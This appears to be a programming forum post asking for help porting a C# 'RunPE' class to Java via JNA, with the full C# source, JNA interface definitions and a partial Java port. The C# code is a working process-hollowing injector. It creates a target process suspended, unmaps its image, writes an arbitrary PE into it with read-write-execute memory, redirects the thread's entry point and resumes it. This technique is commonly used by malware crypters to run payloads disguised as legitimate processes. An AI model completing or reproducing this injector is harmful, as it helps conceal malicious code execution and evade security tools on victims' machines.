Hello everybody, I am new here. As well, I need some help with converting some C# code to Java using JNA to call native Windows functions.

First and foremost, this is the code I am trying to convert:
using System;
using System.Runtime.InteropServices;
using System.Security;
 
[SuppressUnmanagedCodeSecurity]
public static class Runpe
{
    #region Win32 Funcs
 
    [DllImport("kernel32.dll")]
    static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
 
    [DllImport("kernel32.dll")]
    static extern bool CreateProcess(string lpApplicationName, string commandLine, int processAttributes, int threadAttributes,
                                    bool inheritHandles, uint creationFlags, IntPtr environment, string currentDirectory, ref STARTUPINFO startupInfo,
                                        out PROCESS_INFORMATION processInformation);
 
    [DllImport("kernel32.dll")]
    static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, IntPtr lpBuffer, int dwSize, out int lpNumberOfBytesRead);
 
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, IntPtr lpBuffer, uint nSize, out uint lpNumberOfBytesWritten);
 
    [DllImport("kernel32.dll")]
    static extern bool GetThreadContext(IntPtr hThread, ref  CONTEXT lpContext);
 
    [DllImport("kernel32.dll")]
    static extern bool SetThreadContext(IntPtr hThread, ref  CONTEXT lpContext);
 
    [DllImport("kernel32.dll")]
    static extern int SuspendThread(IntPtr hThread);
 
    [DllImport("kernel32.dll")]
    static extern int ResumeThread(IntPtr hThread);
 
    [DllImport("kernel32.dll")]
    static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress,
       IntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
 
    [DllImport("kernel32.dll")]
    static extern uint VirtualQueryEx(IntPtr hProcess, IntPtr lpAddress,
       out MEMORY_BASIC_INFORMATION lpBuffer, int dwLength);
 
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern IntPtr VirtualAlloc(IntPtr address, int numBytes, int commitOrReserve, int pageProtectionMode);
 
    [DllImport("ntdll.dll")]
    static extern int ZwUnmapViewOfSection(IntPtr hProcess, IntPtr BaseAddress);
 
 
    #endregion
 
    #region Proc & Mem Strucs
 
    [StructLayout(LayoutKind.Sequential)]
    struct PROCINFO
    {
        public uint baseAddr;
        public uint imageSize;
    }
 
    [StructLayout(LayoutKind.Sequential)]
    struct PROCESS_INFORMATION
    {
        public IntPtr hProcess;
        public IntPtr hThread;
        public int dwProcessId;
        public int dwThreadId;
    }
 
 
    [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
    struct STARTUPINFO
    {
        public Int32 cb;
        public string lpReserved;
        public string lpDesktop;
        public string lpTitle;
        unsafe fixed byte unused[52];
    }
 
    [StructLayout(LayoutKind.Sequential)]
    struct CONTEXT
    {
        public uint ContextFlags;
        unsafe fixed byte unused[160];
        public uint Ebx;
        public uint Edx;
        public uint Ecx;
        public uint Eax;
        unsafe fixed byte unused2[24];
    }
 
    [StructLayout(LayoutKind.Sequential)]
    struct MEMORY_BASIC_INFORMATION
    {
        public uint BaseAddress;
        public uint AllocationBase;
        public uint AllocationProtect;
        public uint RegionSize;
        public uint State;
        public uint Protect;
        public uint lType;
    }
 
    #endregion
 
    #region PE Structs
    [StructLayout(LayoutKind.Sequential)]
    struct MZHeader
    {
        public ushort signature;
        unsafe fixed byte unused[58];
        public uint offsetToPE;
    }
 
    [StructLayout(LayoutKind.Sequential)]
    struct PE_Header
    {
        public uint signature;
        public ushort machine;
        public ushort numSections;
        public uint timeDateStamp;
        public uint pointerToSymbolTable;
        public uint numOfSymbols;
        public ushort sizeOfOptionHeader;
        public ushort characteristics;
    };
 
    [StructLayout(LayoutKind.Sequential)]
    struct PE_ExtHeader
    {
        public ushort magic;
        public byte majorLinkerVersion;
        public byte minorLinkerVersion;
        public uint sizeOfCode;
        public uint sizeOfInitializedData;
        public uint sizeOfUninitializedData;
        public uint addressOfEntryPoint;
        public uint baseOfCode;
        public uint baseOfData;
        public uint imageBase;
        public uint sectionAlignment;
        public uint fileAlignment;
        unsafe fixed byte unused[16];
        public uint sizeOfImage;
        public uint sizeOfHeaders;
        unsafe fixed byte unused2[160];
    }
 
 
    [StructLayout(LayoutKind.Sequential)]
    struct SectionHeader
    {
        public long sectionName;
        public uint virtualSize;
        public uint virtualAddress;
        public uint sizeOfRawData;
        public uint pointerToRawData;
        unsafe fixed byte unused[16];
    }
    #endregion
 
    static unsafe int ReadPeInfo(byte[] data, out MZHeader mzH, out PE_Header peH, out PE_ExtHeader peXH, out SectionHeader[] secHdrs)
    {
        fixed (byte* dPtr = data)
        {
            int imgSize = -1;
 
            mzH = new MZHeader();
            peH = new PE_Header();
            peXH = new PE_ExtHeader();
            secHdrs = null;
 
            if (data.Length < sizeof(MZHeader))
                return imgSize;
 
 
            mzH = *(MZHeader*)dPtr;
 
            if (mzH.signature != 0x5a4d || data.Length < mzH.offsetToPE + sizeof(PE_Header))
                return imgSize;
 
 
            peH = *(PE_Header*)&dPtr[mzH.offsetToPE];
 
            if (peH.sizeOfOptionHeader != sizeof(PE_ExtHeader))
                return imgSize;
 
            peXH = *(PE_ExtHeader*)&dPtr[mzH.offsetToPE + sizeof(PE_Header)];
            secHdrs = new SectionHeader[peH.numSections];
 
            imgSize = (int)getAlignedSize(peXH.sizeOfHeaders, peXH.sectionAlignment);
 
            for (int i = 0; i < secHdrs.Length; i++)
            {
                secHdrs[i] = *(SectionHeader*)&dPtr[mzH.offsetToPE + sizeof(PE_Header) + sizeof(PE_ExtHeader) + (i * sizeof(SectionHeader))];
 
                if (secHdrs[i].virtualSize != 0)
                    imgSize += (int)getAlignedSize(secHdrs[i].virtualSize, peXH.sectionAlignment);
            }
 
            return imgSize;
        }
    }
 
    static unsafe void LoadPe(byte[] peBytes, MZHeader mzH, PE_Header peH, PE_ExtHeader peXH, SectionHeader[] secHdrs, IntPtr memPtr)
    {
        byte* ptr = (byte*)(void*)memPtr;
 
        uint hdrSize = peXH.sizeOfHeaders;
 
        for (int i = 0; i < secHdrs.Length; i++)
        {
            if (secHdrs[i].pointerToRawData < hdrSize)
                hdrSize = secHdrs[i].pointerToRawData;
        }
 
        Marshal.Copy(peBytes, 0, memPtr, (int)hdrSize);
 
        ptr += (int)getAlignedSize(peXH.sizeOfHeaders, peXH.sectionAlignment);
        for (int i = 0, copySize; i < secHdrs.Length; i++)
        {
            if (secHdrs[i].sizeOfRawData > 0)
            {
                copySize = (int)(secHdrs[i].sizeOfRawData > secHdrs[i].virtualSize ? secHdrs[i].virtualSize : secHdrs[i].sizeOfRawData);
 
                Marshal.Copy(peBytes, (int)secHdrs[i].pointerToRawData, (IntPtr)ptr, copySize);
                ptr += (int)getAlignedSize(secHdrs[i].virtualSize, peXH.sectionAlignment);
            }
            else if (secHdrs[i].virtualAddress != 0)
            {
                ptr += (int)getAlignedSize(secHdrs[i].virtualSize, peXH.sectionAlignment);
            }
        }
    }
 
    static unsafe bool CreateChild(out PROCESS_INFORMATION pInfo, out PROCINFO cInfo, out CONTEXT ctx, string target)
    {
        STARTUPINFO sInfo = new STARTUPINFO();
        ctx = new CONTEXT { ContextFlags = 0x10007 };
        cInfo = new PROCINFO();
 
        if (CreateProcess(target, null, 0, 0, false, 4, IntPtr.Zero, null, ref sInfo, out pInfo))
        {
            GetThreadContext(pInfo.hThread, ref ctx);
 
            uint* pebInfo = (uint*)ctx.Ebx;
            int read = 0;
 
            fixed (PROCINFO* cInfoPtr = &cInfo)
            {
                ReadProcessMemory(pInfo.hProcess, (IntPtr)(&pebInfo[2]), (IntPtr)(&cInfoPtr->baseAddr), 4, out read);
            }
 
            uint curAddr = cInfo.baseAddr;
            MEMORY_BASIC_INFORMATION memInfo = new MEMORY_BASIC_INFORMATION();
 
            while (VirtualQueryEx(pInfo.hProcess, (IntPtr)curAddr, out memInfo, sizeof(MEMORY_BASIC_INFORMATION)) != 0)
            {
                if (memInfo.State == 0x10000)
                    break;
                curAddr += memInfo.RegionSize;
            }
 
            cInfo.imageSize = curAddr - cInfo.baseAddr;
            return true;
        }
        return false;
    }
 
    static unsafe bool DoFork(MZHeader mzH, PE_Header peH, PE_ExtHeader peXH, SectionHeader[] secHdrs, IntPtr memPtr, int imgSize, string target)
    {
        PROCESS_INFORMATION pInfo;
        CONTEXT ctx;
        PROCINFO cInfo;
 
        if (!CreateChild(out pInfo, out cInfo, out ctx, target))
        {
            return false;
        }
 
        IntPtr v = IntPtr.Zero;
 
        if (peXH.imageBase == cInfo.baseAddr && imgSize <= cInfo.imageSize)
        {
            v = (IntPtr)cInfo.baseAddr;
            uint oldP;
            VirtualProtectEx(pInfo.hProcess, (IntPtr)cInfo.baseAddr, (IntPtr)cInfo.imageSize, 0x40, out oldP);
        }
        else if (ZwUnmapViewOfSection(pInfo.hProcess, (IntPtr)cInfo.baseAddr) == 0)
        {
            v = VirtualAllocEx(pInfo.hProcess, (IntPtr)peXH.imageBase, (uint)imgSize, 0x3000, 0x40);
        }
 
        if (v != IntPtr.Zero)
        {
            uint* pebInfo = (uint*)ctx.Ebx;
            uint wrote = 0;
 
            WriteProcessMemory(pInfo.hProcess, (IntPtr)(&pebInfo[2]), (IntPtr)(&v), 4, out wrote);
 
            if (!WriteProcessMemory(pInfo.hProcess, v, memPtr, (uint)imgSize, out wrote))
            {
                return false;
            }
 
            ctx.Eax = (uint)((uint)v == cInfo.baseAddr ? peXH.imageBase + peXH.addressOfEntryPoint : v.ToInt32() + peXH.addressOfEntryPoint);
            SetThreadContext(pInfo.hThread, ref ctx);
            ResumeThread(pInfo.hThread);
            return true;
        }
 
        return false;
    }
 
    static uint getAlignedSize(uint curSize, uint alignment)
    {
        return curSize % alignment == 0 ? curSize : ((curSize / alignment) + 1) * alignment;
    }
 
    public static bool Run(byte[] data, string target)
    {
        if (data == null || target == null)
        {
            return false;
        }
 
        MZHeader mzH;
        PE_Header peH;
        PE_ExtHeader peXH;
        SectionHeader[] secHdrs;
 
        int imgSize = ReadPeInfo(data, out mzH, out peH, out peXH, out secHdrs);
 
        if (imgSize < 0)
        {
            return false;
        }
 
        IntPtr memPtr = VirtualAlloc(IntPtr.Zero, imgSize, 0x1000, 0x40);
 
        if (memPtr == IntPtr.Zero)
        {
            return false;
        }
 
        LoadPe(data, mzH, peH, peXH, secHdrs, memPtr);
 
        return DoFork(mzH, peH, peXH, secHdrs, memPtr, imgSize, target);
    }
}

So far, I have written the JNA interfaces to represent the Kernel32 and NtDll library. Within the Kernel32 library, I have also defined the structures that I need to use.

Kernel32.java
package kine;
 
import static java.util.Arrays.asList;
 
import java.util.List;
 
import com.sun.jna.Library;
import com.sun.jna.Structure;
import com.sun.jna.ptr.IntByReference;
 
public interface Kernel32 extends Library {
 
	IntByReference VirtualAllocEx(IntByReference hProcess,
			IntByReference lpAddress, int dwSize, int flAllocationType,
			int flProtect);
 
	boolean CreateProcess(String lpApplicationName, String commandLine,
			int processAttributes, int threadAttributes,
			boolean inheritHandles, int creationFlags,
			IntByReference environment, String currentDirectory,
			STARTUPINFO startupInfo, PROCESS_INFORMATION processInformation);
 
	boolean ReadProcessMemory(IntByReference hProcess,
			IntByReference lpBaseAddress, IntByReference lpBuffer, int dwSize,
			int lpNumberOfBytesRead);
 
	boolean WriteProcessMemory(IntByReference hProcess,
			IntByReference lpBaseAddress, IntByReference lpBuffer, int nSize,
			int lpNumberOfBytesWritten);
 
	boolean GetThreadContext(IntByReference hThread, CONTEXT lpContext);
 
	boolean SetThreadContext(IntByReference hThread, CONTEXT lpContext);
 
	int SuspendThread(IntByReference hThread);
 
	int ResumeThread(IntByReference hThread);
 
	boolean VirtualProtectEx(IntByReference hProcess, IntByReference lpAddress,
			IntByReference dwSize, int flNewProtect, int lpflOldProtect);
 
	int VirtualQueryEx(IntByReference hProcess, IntByReference lpAddress,
			MEMORY_BASIC_INFORMATION lpBuffer, int dwLength);
 
	IntByReference VirtualAlloc(IntByReference address, int numBytes,
			int commitOrReserve, int pageProtectionMode);
 
	public static class PROCINFO extends Structure {
 
		public int baseAddr;
		public int imageSize;
 
		@Override
		protected List<String> getFieldOrder() {
			return asList("baseAddr", "imageSize");
		}
 
	}
 
	public static class PROCESS_INFORMATION extends Structure {
 
		public IntByReference hProcess;
		public IntByReference hThread;
		public int dwProcessId;
		public int dwThreadId;
 
		@Override
		protected List<String> getFieldOrder() {
			return asList("hProcess", "hThread", "dwProcessId", "dwThreadId");
		}
 
	}
 
	public static class STARTUPINFO extends Structure {
 
		public int cb;
		public String lpReserved;
		public String lpDesktop;
		public String lpTitle;
		public byte unused[] = new byte[52];
 
		@Override
		protected List<String> getFieldOrder() {
			return asList("cb", "lpReserved", "lpDesktop", "lpTitle", "unused");
		}
 
	}
 
	public static class CONTEXT extends Structure {
 
		public int ContextFlags;
		public byte[] unused = new byte[160];
		public int Ebx;
		public int Edx;
		public int Ecx;
		public int Eax;
 
		@Override
		protected List<String> getFieldOrder() {
			return asList("ContextFlags", "unused", "Ebx", "Edx", "Ecx", "Eax");
		}
 
	}
 
	public static class MEMORY_BASIC_INFORMATION extends Structure {
 
		public int BaseAddress;
		public int AllocationBase;
		public int AllocationProtect;
		public int RegionSize;
		public int State;
		public int Protect;
		public int lType;
 
		@Override
		protected List<String> getFieldOrder() {
			return asList("BaseAddress", "AllocationBase", "AllocationProtect",
					"RegionSize", "State", "Protect", "lType");
		}
 
	}
 
	public static class MZHeader extends Structure {
 
		public short signature;
		public byte[] unused = new byte[58];
		public int offsetToPE;
 
		@Override
		protected List<String> getFieldOrder() {
			return asList("signature", "unused", "offsetToPE");
		}
 
	}
 
	public static class PE_Header extends Structure {
 
		public int signature;
		public short machine;
		public short numSections;
		public int timeDateStamp;
		public int pointerToSymbolTable;
		public int numOfSymbols;
		public short sizeOfOptionHeader;
		public short characteristics;
 
		@Override
		protected List<String> getFieldOrder() {
			return asList("signature", "machine", "numSections",
					"timeDateStamp", "pointerToSymbolTable", "numOfSymbols",
					"sizeOfOptionHeader", "characteristics");
		}
 
	}
 
	public static class PE_ExtHeader extends Structure {
 
		public short magic;
		public byte majorLinkerVersion;
		public byte minorLinkerVersion;
		public int sizeOfCode;
		public int sizeOfInitializedData;
		public int sizeOfUninitializedData;
		public int addressOfEntryPoint;
		public int baseOfCode;
		public int baseOfData;
		public int imageBase;
		public int sectionAlignment;
		public int fileAlignment;
		public byte[] unused = new byte[16];
		public int sizeOfImage;
		public int sizeOfHeaders;
		public byte[] unused2 = new byte[160];
 
		@Override
		protected List<String> getFieldOrder() {
			return asList("magic", "majorLinkerVersion", "minorLinkerVersion",
					"sizeOfCode", "sizeOfInitializedData",
					"sizeOfUninitializedData", "addressOfEntryPoint",
					"baseOfCode", "baseOfData", "imageBase",
					"sectionAlignment", "fileAlignment", "unused",
					"sizeOfImage", "sizeOfHeaders", "unused2");
		}
 
	}
 
	public static class SectionHeader extends Structure {
 
		public long sectionName;
		public int virtualSize;
		public int virtualAddress;
		public int sizeOfRawData;
		public int pointerToRawData;
		public byte[] unused = new byte[16];
 
		@Override
		protected List<String> getFieldOrder() {
			return asList("sectionName", "virtualSize", "virtualAddress",
					"sizeOfRawData", "pointerToRawData", "unused");
		}
 
	}
 
}

NtDll.java
package kine;
 
import com.sun.jna.Library;
import com.sun.jna.ptr.IntByReference;
 
public interface NtDll extends Library {
 
	int ZwUnmapViewOfSection(IntByReference hProcess, IntByReference BaseAddress);
 
}

After I have defined the library and structures I moved on to writing the non-native functions. The problem is, I don't understand all of the C# syntax. I do, however, understand all of the Java features that are in C#.

Here is what I have written so far; note that I have commented what I don't understand as well as if I'm questionable about my conversion. Most of the problems repeat, meaning that if you supply me with even one conversion I will probably be able to figure out how to do the rest. Thanks in prior for any help! :-)

package kine;
 
import kine.Kernel32.CONTEXT;
import kine.Kernel32.MEMORY_BASIC_INFORMATION;
import kine.Kernel32.MZHeader;
import kine.Kernel32.PE_ExtHeader;
import kine.Kernel32.PE_Header;
import kine.Kernel32.PROCESS_INFORMATION;
import kine.Kernel32.PROCINFO;
import kine.Kernel32.STARTUPINFO;
import kine.Kernel32.SectionHeader;
 
import com.sun.jna.Native;
import com.sun.jna.ptr.IntByReference;
 
public final class Kine {
 
	// Is this the same as?:
	// IntPtr.Zero
	private static final IntByReference ZERO = new IntByReference(0);
 
	public static int ReadPeInfo(byte[] data, MZHeader mzH, PE_Header peH,
			PE_ExtHeader peXH, SectionHeader[] secHdrs) {
		// I am assuming this is the same as:
		// byte* dPtr = data
		byte[] dPtr = data;
		// ^^/> Also, not sure if "fixed" is important or something
 
		int imgSize = -1;
 
		mzH = new MZHeader();
		peH = new PE_Header();
		peXH = new PE_ExtHeader();
		secHdrs = null;
 
		// is this the equivalent of?:
		// if (data.Length < sizeof(MZHeader))
		if (data.length < mzH.size()) {
			return imgSize;
		}
 
		// no clue how to do this:
		// mzH = *(MZHeader*) dPtr;
 
		// is this the equivalent of?:
		// if (mzH.signature != 0x5a4d || data.Length < mzH.offsetToPE + sizeof(PE_Header))
		if (mzH.signature != 0x5a4d || data.length < (mzH.offsetToPE + peH.size())) {
			return imgSize;
		}
 
		// no clue how to do this:
		// peH = *(PE_Header*)&dPtr[mzH.offsetToPE];
 
		// is this the equivalent of?:
		// if (peH.sizeOfOptionHeader != sizeof(PE_ExtHeader))
		if (peH.sizeOfOptionHeader != peXH.size()) {
			return imgSize;
		}
 
		// no clue how to do this:
		// peXH = *(PE_ExtHeader*)&dPtr[mzH.offsetToPE + sizeof(PE_Header)];
 
		secHdrs = new SectionHeader[peH.numSections];
 
		imgSize = getAlignedSize(peXH.sizeOfHeaders, peXH.sectionAlignment);
 
		for (int i = 0; i < secHdrs.length; i++) {
			// no clue how to do this:
			// secHdrs[i] = *(SectionHeader*)&dPtr[mzH.offsetToPE + sizeof(PE_Header) + sizeof(PE_ExtHeader) + (i * sizeof(SectionHeader))];
 
			if (secHdrs[i].virtualSize != 0) {
				imgSize += getAlignedSize(secHdrs[i].virtualSize, peXH.sectionAlignment);
			}
		}
 
		return imgSize;
	}
 
	public static void LoadPe(byte[] peBytes, MZHeader mzH, PE_Header peH, PE_ExtHeader peXH, SectionHeader[] secHdrs, IntByReference memPtr) {
		// no clue how to do this:
		// byte* ptr = (byte*)(void*)memPtr;
 
		int hdrSize = peXH.sizeOfHeaders;
 
		for (int i = 0; i < secHdrs.length; i++) {
			if (secHdrs[i].pointerToRawData < hdrSize) {
				hdrSize = secHdrs[i].pointerToRawData;
			}
		}
 
		// don't know what this is, something like System.arraycopy?:
		// Marshal.Copy(peBytes, 0, memPtr, (int)hdrSize);
 
		// no clue how to do this:
		// ptr += (int)getAlignedSize(peXH.sizeOfHeaders, peXH.sectionAlignment);
 
		for (int i = 0, copySize; i < secHdrs.length; i++) {
			if (secHdrs[i].sizeOfRawData > 0) {
				copySize = secHdrs[i].sizeOfRawData > secHdrs[i].virtualSize ? secHdrs[i].virtualSize : secHdrs[i].sizeOfRawData;
 
				// don't know what this is, again, something like System.arraycopy?:
				// Marshal.Copy(peBytes, (int)secHdrs[i].pointerToRawData, (IntPtr)ptr, copySize);
 
				// and no clue about this either:
				// ptr += (int)getAlignedSize(secHdrs[i].virtualSize, peXH.sectionAlignment);
			} else if (secHdrs[i].virtualAddress != 0) {
				// and, of course, no clue about this:
				// ptr += (int)getAlignedSize(secHdrs[i].virtualSize, peXH.sectionAlignment);
			}
		}
	}
 
	public static boolean CreateChild(PROCESS_INFORMATION pInfo, PROCINFO cInfo, CONTEXT ctx, String target, Kernel32 kernel) {
		STARTUPINFO sInfo = new STARTUPINFO();
 
		// is this the equivalent of?:
		// ctx = new CONTEXT { ContextFlags = 0x10007 };
		ctx = new CONTEXT();
		ctx.ContextFlags = 0x10007;
 
		cInfo = new PROCINFO();
 
		if (kernel.CreateProcess(target, null, 0, 0, false, 4, ZERO, null, sInfo, pInfo)) {
			kernel.GetThreadContext(pInfo.hThread, ctx);
 
			// no clue about this:
			// uint* pebInfo = (uint*)ctx.Ebx;
 
			int read = 0;
 
			// no clue about "fixed" or if it is important
			// also no clue about this:
			// fixed (PROCINFO* cInfoPtr = &cInfo) {
			//     ReadProcessMemory(pInfo.hProcess, (IntPtr)(&pebInfo[2]), (IntPtr)(&cInfoPtr->baseAddr), 4, out read);
			// }
 
			int curAddr = cInfo.baseAddr;
 
			MEMORY_BASIC_INFORMATION memInfo = new MEMORY_BASIC_INFORMATION();
 
			while (kernel.VirtualQueryEx(pInfo.hProcess, new IntByReference(curAddr), memInfo, memInfo.size()) != 0) {
				if (memInfo.State == 0x10000)
					break;
				curAddr += memInfo.RegionSize;
			}
 
			cInfo.imageSize = curAddr - cInfo.baseAddr;
			return true;
		}
 
		return false;
	}
 
	public static boolean DoFork(MZHeader mzH, PE_Header peH, PE_ExtHeader peXH, SectionHeader[] secHdrs, IntByReference memPtr, int imgSize, String target, Kernel32 kernel, NtDll ntdll) {
		PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION();
		CONTEXT ctx = new CONTEXT();
		PROCINFO cInfo = new PROCINFO();
 
		if (!CreateChild(pInfo, cInfo, ctx, target, kernel)) {
			return false;
		}
 
		IntByReference v = ZERO;
		if (peXH.imageBase == cInfo.baseAddr && imgSize <= cInfo.imageSize) {
			// is this the same as?:
			// v = (IntPtr)cInfo.baseAddr;
			v = new IntByReference(cInfo.baseAddr);
 
			int oldP = 0;
			kernel.VirtualProtectEx(pInfo.hProcess, new IntByReference(cInfo.baseAddr), new IntByReference(cInfo.imageSize), 0x40, oldP);
		} else if (ntdll.ZwUnmapViewOfSection(pInfo.hProcess, new IntByReference(cInfo.baseAddr)) == 0) {
			v = kernel.VirtualAllocEx(pInfo.hProcess, new IntByReference(peXH.imageBase), imgSize, 0x3000, 0x40);
		}
 
		if (v != ZERO) {
			// no clue about this:
			// uint* pebInfo = (uint*)ctx.Ebx;
 
			int wrote = 0;
 
			// don't know how to call this:
			// WriteProcessMemory(pInfo.hProcess, (IntPtr)(&pebInfo[2]), (IntPtr)(&v), 4, out wrote);
 
			if (!kernel.WriteProcessMemory(pInfo.hProcess, v, memPtr, imgSize, wrote)) {
				return false;
			}
 
			// I believe this is equivalent to:
			// ctx.Eax = (uint)((uint)v == cInfo.baseAddr ? peXH.imageBase + peXH.addressOfEntryPoint : v.ToInt32() + peXH.addressOfEntryPoint);
			ctx.Eax = v.getValue() == cInfo.baseAddr ? peXH.imageBase + peXH.addressOfEntryPoint : v.getValue() + peXH.addressOfEntryPoint;
 
			kernel.SetThreadContext(pInfo.hThread, ctx);
			kernel.ResumeThread(pInfo.hThread);
 
			return true;
		}
 
		return false;
	}
 
	public static int getAlignedSize(int curSize, int alignment) {
		return curSize % alignment == 0 ? curSize : ((curSize / alignment) + 1) * alignment;
	}
 
	public static boolean Run(byte[] data, String target, Kernel32 kernel, NtDll ntdll) {
		if (data == null || target == null) {
			return false;
		}
 
		MZHeader mzH = new MZHeader();
		PE_Header peH = new PE_Header();
		PE_ExtHeader peXH = new PE_ExtHeader();
		SectionHeader[] secHdrs = null;
 
		int imgSize = ReadPeInfo(data, mzH, peH, peXH, secHdrs);
 
		if (imgSize < 0) {
			return false;
		}
 
		IntByReference memPtr = kernel.VirtualAlloc(ZERO, imgSize, 0x1000, 0x40);
 
		if (memPtr == ZERO) {
			return false;
		}
 
		LoadPe(data, mzH, peH, peXH, secHdrs, memPtr);
 
		return DoFork(mzH, peH, peXH, secHdrs, memPtr, imgSize, target, kernel, ntdll);
	}
 
}